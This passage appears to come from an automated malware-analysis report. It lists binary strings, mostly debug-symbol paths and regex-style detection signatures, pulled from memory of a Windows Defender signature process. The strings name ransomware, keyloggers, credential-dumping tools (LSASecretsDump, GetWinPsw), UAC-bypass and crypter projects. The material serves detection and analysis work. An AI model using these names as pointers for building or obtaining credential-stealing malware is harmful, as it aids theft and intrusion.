        Source: Binary string: 0\Adobe Reader.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: fastfat.pdbN source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \release\LSASecretsDump.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: wl-cmd\Release\dll1.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: PD:\projects\new_Clicker\SIV\original\daemon\NewClieckerDll\Release\SIVUpdate.pdb] source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: sctasks.pdbd source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: \i386\iSafeKrnlR3.pdb source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\find\objfre\i386\find.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: ZUsers\Admin\Documents\Visual Studio 2015\Projects\Cryptor2.0 Simple\Release\Cryptor2.0.pdba source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: \WinCbt\Release\WinCbt.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: @C:\Users\AverageGoose\source\repos\GooseLab\Release\GooseLab.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: usp10.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: :b.ProgramISLNetworkStart_win32.0\Release\launch_normal.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: g711codc.pdb3 source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: Ransomware.pdbxN source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: reg.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: -GMGameStart\bin\release_static\GMUnPacker.pdba source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: \SearchProtect\Bin\Release\ProtectService.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: \x64\release\shell.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: hWEHW#@HJERKJERJER^$.Pdb~ source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: mgr.pdb source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp
        Source: Binary string: bot.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: b-- b3: bs: bue b1f bss b5+(b---b51-b74-bd6-bf8-bbf-ban-bot-bne.bog.bck.bpk.b*m.bup.b.s.but.be /be10b420b180bc01bd31bb91b2c1b-b2b6f2b443b683b7-4bd-4by24b994b8a4b,c4b0c4b{65bd85b-95bfa5bgg5b5j5bd96b2c6bhv6be-7b207bf27b-47b077be87b1a7b4f7b528bi38b478b-88b5-9b7f9b3n9but:bg,?bhi_btn_bio_bro_bbs_bet_b: ab86abs_ab-aab5babgbab.cabadabrdabffabciabgrab[tabstab{tabiuab.wab/wab1-bbc-bb59bb89bbjabbffbbtgbb#jbbcobbcsbbbubb26cba8cb4bcb6ecb4fcbyhcbdmcbcpcbipcb-tcb*.db</dbe0db27dbpadbbbdbccdb\ddbbddb6edbmodboodb.pdbrrdb-4ebhbeb\debhgebehebtiebklebulebomebjoeb.rebirebprebosebrvebrwebmzeb source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp
        Source: Binary string: \\UniversalOrchestratorPrivEscPoc\\Release\\UniversalOrchestratorPrivEscPoc\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: .+:.*\\SkypeSpread.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: \Dolphin.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: comp.pdbd source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: acpi.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: 'C:\postmaster\merge\Peasants\Billy.pdb] source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: c:\Documents and Settings\Administrator\My Documents\Visual Studio Projects\EASZZCDFR\Release\EASZZCDFR.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdbx source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: -C:\backward\inch\enumeration\Atmel\neces.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: KF.+:\\Projects\\Crypt\\Stub2005\\Stub2005\\Stub\\Stub\\Release\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: Ivan\Documents\generic_exe\Release\BHO.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: \CCC\obj\Debug\CCC.pdb source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: WhjrkehLkpe;rltjhpow;elkrjjklWEKL#.pdb] source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: EC:\Projects\Docwize\cUniFunctions\obj\DocwizeClient\cUniFunctions.pdbx source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: .+:\\src\\tcrypt\\Release\\s_(high|low).pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-io-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: CryptoService.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: WanNengWB\WBUpd32.pdb source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp
        Source: Binary string: msasn1.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: ,\NetGuy_Explorer\Release\NetGuy_Explorer.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: Asource\repos\Coronavirus1\Coronavirus1\obj\Debug\Coronavirus1.pdb] source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: \TMain\Release\TSvr.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: 6\Desktop\EK\Source\Rina_AC\Rina_AC\Release\Rina_AC.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: ,T:\TFS-TradeProject\PDB\Release\TT-Miner.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: L%D:\\MyCode\\riot.?\\encryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \SearchProtect\bin\Release\HPNotify.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: Bou3asba\obj\Release\Danao.pdb source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp
        Source: Binary string: c:\RPCInstall\Release\RPCInstall.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: Release DlpHook\Proxy.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: $\SuperLight\release\MfcDllServer.pdba source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: $\Season\Wife_low\531\Quart\table.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: \Sample\Release\CNetworking.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \BypassUac\branches\Download\build\Release\service.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: MC:\Users\wizzlabs\source\repos\ConsoleMap\ConsoleMap\obj\Release\Ehssassi.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: 2Projects\VerifyAndLaunch\release\GCO Bootstrap.pdb source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmp
        Source: Binary string: OC:\Users\hoogle168\Desktop\2008Projects\NewCoreCtrl08\Release\NewCoreCtrl08.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: \mywscript.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: \CRP\Release\Mount.pdbaD source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: :Release\haozip.chs\bin\Win32\release\pdb\HaoZip7zSetup.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: \Release\MyEncrypter2.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: 7h4qMQ1edvEOY+wQIOdVR_v.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: c:\dev\torntv\Release\TornTVApp.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: winlogon.PDB source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: K8MiniPage.pdbx source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: \RUNPCH\Release\GUO_CAU.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: 0.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: \bundler\Production\bundler.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-shlwapi-obsolete-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: D:\C++\AsusShellCode\Release\AsusShellCode.pdb source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmp
        Source: Binary string: advapi32.pdbx source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: costura.injectordll.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: )\CVE-2019-0803201992\Release\poc_test.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: cleanmgr.pdbPE source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: [H:\My Data\My Source Code\Microsoft Office 2010\AutoKMS\AutoKMS\obj\x86\Release\AutoKMS.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: mpengine.pdbOGPS source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: A .+\\WormWin32 Poenon.+\\.+.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: f:\project_2008\Fileman_candle_kgrid\Filebus\Bin\UpdateWindow.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: wRHWRH@4hjethwehgw.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: sfix\Release\sfix.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: unknowndll.pdba~ source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \fiDarSayebni.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: \[Release.Win32]Clicker.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: IperiusRDPClient.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: %KMS Client\bin\Release\KMS Client.pdba} source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: hmld1\Release\hmld1.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: S\ccnet\Publish_Client\work\src\mainapp\Abacus.LaunchMail\bin\Release\LaunchMail.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\attrib\objfre\i386\attrib.pdbP& source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: wajam_goblin.pdb source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp
        Source: Binary string: C:\SuccWare\SuccWare\obj\Debug\SuccWare.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \\qbot_debugger\\.+\\qbot_debugger\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: d:\av\common_main.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\twunk_16\objchk\i386\twunk_16.pdb source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmp
        Source: Binary string: MsiDatabaseMerge.pdb source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp
        Source: Binary string: joy.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: WebBrowserPassView.pdb source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: msimg32.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: E:\Work\SaveVid\Savevid-WS-Trunk\InstallCore\rbin\soffer.pdb source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: GCWYq1g.pdb source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!%WINDIR%\Microsoft.NET\mscorsvw.exe source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmp
        Source: Binary string: mfcsubs.pdb source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp
        Source: Binary string: Release\NtdsAudit.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: netsh.pdbj source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: BTR.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: mshta.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: PROZIPPER.pdb source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: sfxrar32\Release\sfxrar.pdbxB source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \\win\\build\\src\\build\\Release\\chrome_frame_helper\.exe\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: ddraw.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: GPDFDocument.pdb source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp
        Source: Binary string: *\ClientPlugin\obj\Release\ClientPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp
        Source: Binary string: wbadmin.pdb source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp
        Source: Binary string: Unite.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: \Release\WCmouiTri.pdb] source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: \MailClient\Release\MailClient.pdb source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmp
        Source: Binary string: L%D:\\MyCode\\riot.?\\decryptor.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: :FreeDownloadmanager\obj\x86\Debug\FreeDownloadManager.pdbx source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: Flipopia.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: \Ozrenko\Documents\Work\Interstat2\Interstat2\Weather\Interstat.pdb source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmp
        Source: Binary string: nethtsrv.pdb source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmp
        Source: Binary string: Users\Legion\source\repos\curl\Release\curl.pdb source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp
        Source: Binary string: Downloads\notepad-master\Release\notepad.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: \Black Coding\RAT+BOT\WebServer 2.0\src\Release\WebServer.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: AdFind\Release\AdFind.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: d:\young\swprojects\tdxin\bin\amd64\rtdxftex_amd64.pdb source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmp
        Source: Binary string: S*\\server\\V.*\\Release\\PhantomNet.*\.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \PCHunter64.pdb source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: Release\toolbar_setup.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \x64\Release\Narrator.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: rasautou.pdb source: MpSigStub.exe, 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp
        Source: Binary string: \obj\Release\PersistenceModule.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: ?ExtractedBundle\RTM_ImageModRec_1.1.5.0_x64\RTM_ImageModRec.pdbac source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: ?E:\hhu\TeamViewer_13.bjbj\BuildTarget\Release2017\tv_w32dll.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \i386\lanmandrv.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: c:\divide\broad\Hole\DoThird.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: \Release\corsar.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: e:\updatecheck\UpdateCheck\release\UpdateCheck.pdb source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp
        Source: Binary string: XBundlerTlsHelper.pdb source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmp
        Source: Binary string: UqxIkBeNYhKR.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: e:\src\fcrypt\Release\S\s_high.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: 9D:\BuildScript.NET\c2patchdx11\pc\Build\Bin32\Crysis2.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: BugTrap.pdb] source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: e:\builddata\Install\source\Min_Loader-BuildAndDeploy\Release\Loader_Resized.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: tdc.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: obj\Release\FlashPlayerApp.pdb source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: mpg2splt.pdb source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp
        Source: Binary string: dxtrans.pdb source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmp
        Source: Binary string: c:\supply\trouble\Classwho.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: \Microsoft Windows Search.pdb source: MpSigStub.exe, 00000023.00000003.18299991338.0000015B1C3DD000.00000004.00000001.sdmp
        Source: Binary string: KF.+:\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: termsrv.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: AntiMalware_Pro.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: fc.pdb0 source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: \Gleaned\purecall\win32p6.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: Slb.EP.Shell.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: 4\ValhallaCrypter\ValhallaStub\Debug\ValhallaStub.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: EFRE65.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: lIFdrGkmBePss.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: C>s:\\dEVELOPMdNT\\dC\+\+dCdyptordEvoldtiod_dld\\release\\m.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: CryARr.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: !#HSTR:PossiblyClean:magottei.pdb.A source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: FreeDownloadmanager\obj\x86\Debug\FreeDownloadManager.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: boteg.pdbxL source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: KSLDriver.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: zYAamTGB2rfW!Cp+aR.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: D:\program z visuala\keylogger\Release\keylogger.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: \GetWinPsw.pdb source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmp
        Source: Binary string: \\WOO\\HT\\HT Server\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \bin\winfdmscheme.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: RegAsm.pdb source: tKZVPq.exe
        Source: Binary string: SAVService.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: zC:\Users\EchoHackCmd\source\repos\Minecraft_DLL_Injector\Minecraft_DLL_Injector\obj\x64\Release\Minecraft_DLL_Injector.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: 7laIR+|.XJ5aA0aa.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: wscript.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: wevtutil.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: \isn.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
